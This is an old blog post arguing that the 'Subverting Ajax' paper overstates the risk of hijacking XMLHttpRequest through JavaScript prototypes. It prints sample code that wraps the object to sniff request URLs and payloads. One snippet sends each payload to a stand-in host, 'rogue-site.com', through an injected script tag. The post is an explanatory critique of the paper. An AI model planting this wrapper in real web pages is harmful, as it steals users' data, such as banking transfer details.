Hyped up Subverting Ajax

by Subbu Allamaraju on January 7, 2007

There is a paper titled Subverting Ajax (PDF), by Stefano Di Paola and Giorgio Fedon circulating the web over the weekend. This paper claims that, by using XMLHttpRequest, an attacker could “inject client side code to toally subvert the communication flow between the client and the server”. This paper also talks how some previously known attacks like cache poisoning, frame injection etc. See below for a quick demo of what the authors of this paper are talking about. The demo makes me conclude that the so-called subversion is hyped up, and does not actually pose a new security threat.

The security issue with XMLHttpRequest that this paper talks about is based on the JavaScript prototypes. This paper shows how a script author could sniff the communication between the browser and the server by wrapping the XMLHttpRequest with a prototype based wrapper. Here is a sample implementation of this so-called attack.

var orig;
if (window.XMLHttpRequest) {
orig = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
try {
orig = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
orig = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
alert("Could not create httpRequest");
}
}
}

XMLHttpRequest = function()
{
this.xml = orig;
return this;
}
XMLHttpRequest.prototype.send = function(payload)
{
alert("Sniffing payload: " + payload);
return orig.send(payload);
}

XMLHttpRequest.prototype.open = function(method, url, async)
{
alert("Sniffing: " + url);
orig.open(method, url, async);
}

function send()
{
var myreq = new XMLHttpRequest();
myreq.onreadystatechange = function()
{
if (myreq.readyState == 4 && myreq.status == 200) {
alert(myreq.responseText);
}
}

var url = "/get/my/secrets";
myreq.open("GET", url, false);
}

You can also try this online here.

The key point is that the send() function thinks that it is using the native XMLHttpRequest, but is in fact using a wrapped XMLHttpRequest. The wrapped function can see the traffic. It can, for instance, make a request to an external site with the data being transmitted.

XMLHttpRequest.prototype.send = function(payload)
{
var url = "http://rogue-site.com/sniff?data=" + payload;
var script = document.createElement("script");
script.setAttribute("src", url);
script.setAttribute("type", "text/javascript");
head.appendChild(script);
return orig.send(payload);
}

That is a vulnerability – the authors of this paper claim.

It is important to realize that this is a vulnerability only after the attacker is able to inject code into a web page to replace XMLHttpRequest with a wrapped object. This paper talks about a banking example, where an attacker could inject this script, wait for a bank transfer to occur, and then steal the details of the transfer. It is true that once the code injection has happened, there are a number of ways using which an attacker could steal information, even without using XMLHttpRequest.

Assuming that the attacker is able to break into the banking site, he/she could inject an onSubmit() function into each page of the same banking site, and use that method to send submitted data to a rogue site. How is this different from the author’s claim about XMLHttpRequest being vulnerable? The authors don’t discuss or explain. This makes me conclude that the authors’ claims are hyped up.

The cache-poisoning attack that the authors of this paper claim is well-known. See, for example, the security report Browser Cache Poisoning using IE and Caching Servers which talks about the same technique mentioned in Section V of this paper. The technique is based on injecting raw HTTP headers into URLs. Vulnerabilities like this exist due to implementation bugs in browsers and other HTTP applications.

Leave a Comment

Previous post:

Next post: